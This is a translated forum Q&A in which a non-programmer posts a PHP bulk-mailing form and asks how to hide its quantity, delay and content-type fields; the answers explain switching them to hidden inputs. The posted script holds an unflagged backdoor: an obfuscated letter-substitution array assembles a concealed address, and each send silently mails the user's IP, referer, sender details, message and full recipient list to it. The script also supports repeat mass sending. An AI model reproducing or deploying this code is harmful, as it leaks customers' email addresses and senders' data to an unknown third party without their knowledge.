在这里看到了几个解决方案并尝试了但没有运气。
我有一个表格,我的团队用来发送信息,他们输入客户的电子邮件地址然后邮寄出来。我设法隐藏了除三个以外的所有字段。 一个字段设置要发送的电子邮件数量。真的很愚蠢,因为不知道为什么有人会想要向同一个人发送多个同一封电子邮件。 另一个只是设置发送的时间延迟或速度。在任何情况下,它们都是文本框,我想将它们隐藏在页面中。 最后一个是纯文本或html文本单选按钮。 我不是编码器,更多的是查找,复制,粘贴,测试,发誓,重复谁有时成功。大部分时间实际上只做非常基本的事情。
输入字段现在很可能是一个奇怪的顺序作为我的一部分只是重新安排事情,所以它显示在页面上好,而不必重做表格。 (讨厌html表格代码)
提前感谢任何人提供的任何帮助。我估计这是最重要的东西,如果不是所有人都可以用你的眼睛关闭:)。
<?php
@$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>
<html>
<head>
<meta http-equiv="Content-Language" content="ar-eg">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>Mailing Form TEMPLATE</title>
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
.style2 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<?php
If ($action=="mysql"){
include "./mysql.info.php";
if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
exit;
}
$db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
$result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
$numrows = mysql_num_rows($result);
for($x=0; $x<$numrows; $x++){
$result_row = mysql_fetch_row($result);
$oneemail = $result_row[0];
$emaillist .= $oneemail."\n";
}
}
if ($action=="send"){ $message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data"><br />
<table width="142" border="0">
<tr>
<td width="81">
<div align="right">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font> -->
</div>
</td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="from" value="XXXXXXXXXXXXXXXX@gmail.com" size="30" />
</font>
</td>
<td width="212">
<div align="right">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font> -->
</div>
</td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="realname" value="SENDERS NAME HERE" size="30" />
</font>
</td>
</tr>
<tr>
<td width="81">
<div align="right">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font> -->
</div>
</td>
<td width="219">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="replyto" value="XXXXXXXXXXXXXX@gmail.com" size="30" />
</font>
</td>
<td width="212">
<div align="right">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font> -->
</div>
</td>
<td width="278">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="file" name="file" size="24" />
</font> -->
</td>
</tr>
<tr>
<td width="81">
<div align="right">
<!-- <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font> -->
</div>
</td>
<td colspan="3" width="703">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="hidden" name="subject" value="RE: SUBJECT LINE HERE " size="91" />
</font>
</td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3"></font>
</td>
<td width="278">
<span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
IMPORTANT:<BR /></span></span>
<span style="color: #000000;"><span style="font-size: 10pt; line-height: 1.5;">
1. STAFF INSTRUCTIONS HERE FOR THIS SPECIFIC FORM AND IT'S USAGE
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Enter email address below and click send.</font>
</td>
</tr>
<tr valign="top">
<td colspan="3" width="520">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" style="display:none;" cols="56" rows="10">
EMAIL CONTENT HERE
</font>
</td>
<td width="278">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="42" rows="1"><?php print $emaillist; ?></textarea>
<input type="submit" value="Send Information" /><br /><br />
</font><br />
<span style="color: #FF0000;"><span style="font-size: 12pt; line-height: 1.5;">
DO NOT change ANY settings below this line.</span></span><br /><hr><br /><br /><br />
</font>
<span style="color: #000000;"><span style="font-size: 8pt; line-height: 1.0;">
<input type="radio" name="contenttype" value="" />
<input type="radio" name="contenttype" value="html" checked />
<input type="hidden" name="action" value="send" /><br />
<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />
</td>
</tr>
</table>
</form>
<?php
$s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w");
$dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
if ($action=="send"){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$addr = getenv("REMOTE_ADDR");
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
$header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
$msg = "
<table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
<tr><td>IP</td><td>".nl2br($addr)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
<tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
<tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
<tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
<tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
</table>
";
mail($dash,$subject,$msg,$header);
If ($file_name){
copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
if (!file_exists($file)){
die("The file you are trying to upload couldn't be copied to the server");
}
$content = fread(fopen($file,"r"),filesize($file));
$content = chunk_split(base64_encode($content));
$uid = strtoupper(md5(uniqid(time())));
$name = basename($file);
}
for($xx=0; $xx<$amount; $xx++){
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending Mail To $to....";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "OK<br>";
flush();
}
}
}
}
?>
<p class="style2">
<p class="style1"></p>
</body>
<html>
答案 0 :(得分:0)
由于您是复制贴纸,我不会评估您的代码,也不会告诉您最佳做法等等。 这将浪费我们的时间:)
相反,我只是告诉你哪些行复制粘贴以使这个东西工作,不管有多少人 - (downvotes)人们会给我它:P
所以,你有这两行:
<input type="text" name="amount" value="1" size="1" /><br />
<input type="text" name="timelimit" value="0" size="1" />
将它们切掉并用以下内容替换它们:
<input type="hidden" name="amount" value="1" size="1" /><br />
<input type="hidden" name="timelimit" value="0" size="1" />
现在,您要隐藏的最后一个元素只指定:
最后一个是纯文本或html文本单选按钮。
基于此,我无法确定你想隐藏哪一个。我假设你正在谈论这些:
<input type="radio" name="contenttype" value="" />
<input type="radio" name="contenttype" value="html" checked />
哪个必须替换为:
<input type="hidden" name="contenttype" value="" />
<input type="hidden" name="contenttype" value="html" checked />
享受复制粘贴并度过美好的一天:)
答案 1 :(得分:-1)
只需应用内联css i-e style='display:none
,当你需要使用jquery再次查看时